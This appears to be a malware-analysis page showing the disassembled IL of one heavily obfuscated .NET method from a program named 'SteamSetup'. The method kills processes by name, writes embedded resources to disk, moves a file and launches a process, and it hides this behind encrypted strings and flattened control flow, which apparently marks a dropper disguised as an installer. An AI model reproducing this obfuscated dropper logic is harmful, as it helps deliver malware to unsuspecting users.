System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Main IL Instruction Count

315
Main IL

br.s IL_0007: ldc.i4 2 call <null> ldc.i4 2 stloc V_3 br IL_0015: ldloc V_3 ldloc V_3 switch dnlib.DotNet.Emit.Instruction[] br IL_008B: ldloc.s V_10 ldloc.s V_10 ldloc.s V_4 ldelem.ref <null> stloc.s V_5 ldc.i4 11 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0777f059893c4ceabd739c88c5b8b699 brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 16 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ret <null> ldloc.s V_9 ldc.i4 1946855281 ldc.i4 1513954210 xor <null> ldc.i4 1459322656 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c386ae2718cf4975a90a91e8bf42052f xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_1 ldc.i4 19 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldc.i4.0 <null> stloc.s V_4 ldc.i4 6 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f9dbd33ebfdf40e5a491700056c3705d brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 1 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Void System.Windows.Forms.Application::EnableVisualStyles() ldc.i4 23 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_9 brtrue IL_00B2: ldloc.s V_9 ldc.i4 9 stloc V_3 br IL_0015: ldloc V_3 ret <null> ldc.i4 -2109213154 ldc.i4 5 shl <null> ldc.i4 133568027 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_71379f9cb1c1492da9b225b18510fde5 xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String) dup <null> ldlen <null> ldc.i4.0 <null> cgt.un <null> stloc.s V_2 stloc.s V_10 ldc.i4 17 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) ldc.i4 13 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ret <null> nop <null> ldloc.s V_5 callvirt System.Void System.Diagnostics.Process::Kill() ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_6d67a2b389604e3a97c79208d1c167ee brfalse IL_01A2: switch(IL_01E0,IL_01B4) pop <null> ldc.i4 0 br IL_01A2: switch(IL_01E0,IL_01B4) ldloc V_7 switch dnlib.DotNet.Emit.Instruction[] br IL_01E0: leave IL_03DF ldloc.s V_5 ldc.i4 3000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_51c5ca3b186e4111bca91af9f1f0992a brtrue IL_01A2: switch(IL_01E0,IL_01B4) pop <null> ldc.i4 0 br IL_01A2: switch(IL_01E0,IL_01B4) leave IL_03DF: ldloc.s V_4 pop <null> ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3c14218fc7e3404a8fdb0df7a8339180 brtrue IL_0209: switch(IL_0217) pop <null> ldc.i4 0 br IL_0209: switch(IL_0217) ldloc V_8 switch dnlib.DotNet.Emit.Instruction[] br IL_0217: leave IL_03DF leave IL_03DF: ldloc.s V_4 ldc.i4 4 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 0 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) br IL_008B: ldloc.s V_10 ldc.i4 9 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_9b2650c465334383b0a067da28d86d94 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 11 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_9 ldc.i4 350066962 ldc.i4 2027984176 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_993afc461cbc4529acfa8aa07db9cded xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) call System.Boolean System.IO.File::Exists(System.String) brtrue IL_0437: nop ldc.i4 11 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_48926a63029046f8acc3f1672b3f072b brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 14 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Boolean YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::sdUQL5CcW() brtrue IL_054B: ret ldc.i4 13 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_529039fa0e954e10a41f3e31cf846fc8 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 15 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) br IL_0446: ldloc.s V_4 ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_5bd11b821be049d4be088b8b862dda1c brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 0 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) nop <null> ldloc.s V_1 call System.Byte[] SteamSetup.Properties.Resources::get_SteamWindow() call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_8e136193dbc14abb9ed0dc14d9589b58 brfalse IL_0327: switch(IL_0384,IL_0339) pop <null> ldc.i4 0 br IL_0327: switch(IL_0384,IL_0339) ldloc V_0 switch dnlib.DotNet.Emit.Instruction[] br IL_0384: leave IL_0525 ldloc.s V_9 ldc.i4 -869143660 ldc.i4 -926526044 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be49b0c1e6b34be196242f6bec524b45 xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) call System.Byte[] SteamSetup.Properties.Resources::get_WebView2Loader() call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_4e5c59b78de947d3906e9144d044a938 brtrue IL_0327: switch(IL_0384,IL_0339) pop <null> ldc.i4 0 br IL_0327: switch(IL_0384,IL_0339) leave IL_0525: ldloc.s V_2 pop <null> ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f1f861dc75784e1bb0ee639063c5a5a7 brtrue IL_03AD: switch(IL_03BB) pop <null> ldc.i4 0 br IL_03AD: switch(IL_03BB) ldloc V_6 switch dnlib.DotNet.Emit.Instruction[] br IL_03BB: leave IL_0525 leave IL_0525: ldloc.s V_2 ldc.i4 18 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2 brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 25 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_4 ldc.i4.1 <null> add <null> stloc.s V_4 ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0a3f5e50a5a146e991dd1788f8489652 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 22 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Void AWwrb6IZaoTW1skL6Uw.k6EhOsIadlBYru3vdpf::hSq6WhIBHb() ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_26de41fd01a843999f544a29465b552a brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 1 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Void BalKq0INJdSgLv0IlEL.W03EwQIMqxeuGuWiAoI::OyDSbEvb0q() ldc.i4 21 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) nop <null> ldc.i4 10 stloc V_3 br IL_0015: ldloc V_3 ldloc.s V_4 ldloc.s V_10 ldlen <null> conv.i4 <null> bge IL_025F: ldloc.s V_9 ldc.i4 20 stloc V_3 br IL_0015: ldloc V_3 ldloc.s V_1 ldloc.s V_9 ldc.i4 -1348167488 ldc.i4 489480752 sub <null> ldc.i4 -2045417835 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3efcb5432cfa48f7bc1872d6b5e81623 xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) call System.Void System.IO.File::Move(System.String,System.String) ldc.i4 24 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_50c8bb6c6a58481a95d4164343ccd960 brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 0 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) br IL_054C: call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe() ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_63255e9e987740d5870a448b84469e67 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 3 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_1 call System.Boolean System.IO.File::Exists(System.String) brtrue IL_012D: ldc.i4 -2109213154 ldc.i4 3 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_41f0756ef3af498788efa9dfd36951c3 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 8 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldc.i4 2500 call System.Void System.Threading.Thread::Sleep(System.Int32) ldc.i4 3 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_a670ef240aad4060b3d7a36f9e6eb01c brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 7 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_2 brfalse IL_0176: ret ldc.i4 5 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_05a7934fedcb46bf84f4e5bb3a9e1050 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 4 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ret <null> call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe() stloc.s V_9 ldc.i4 12 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_1 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4 18 stloc V_3 br IL_0015: ldloc V_3
8ae09bb656cdcf6961ab1d2b19b0daf8 (690.18 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙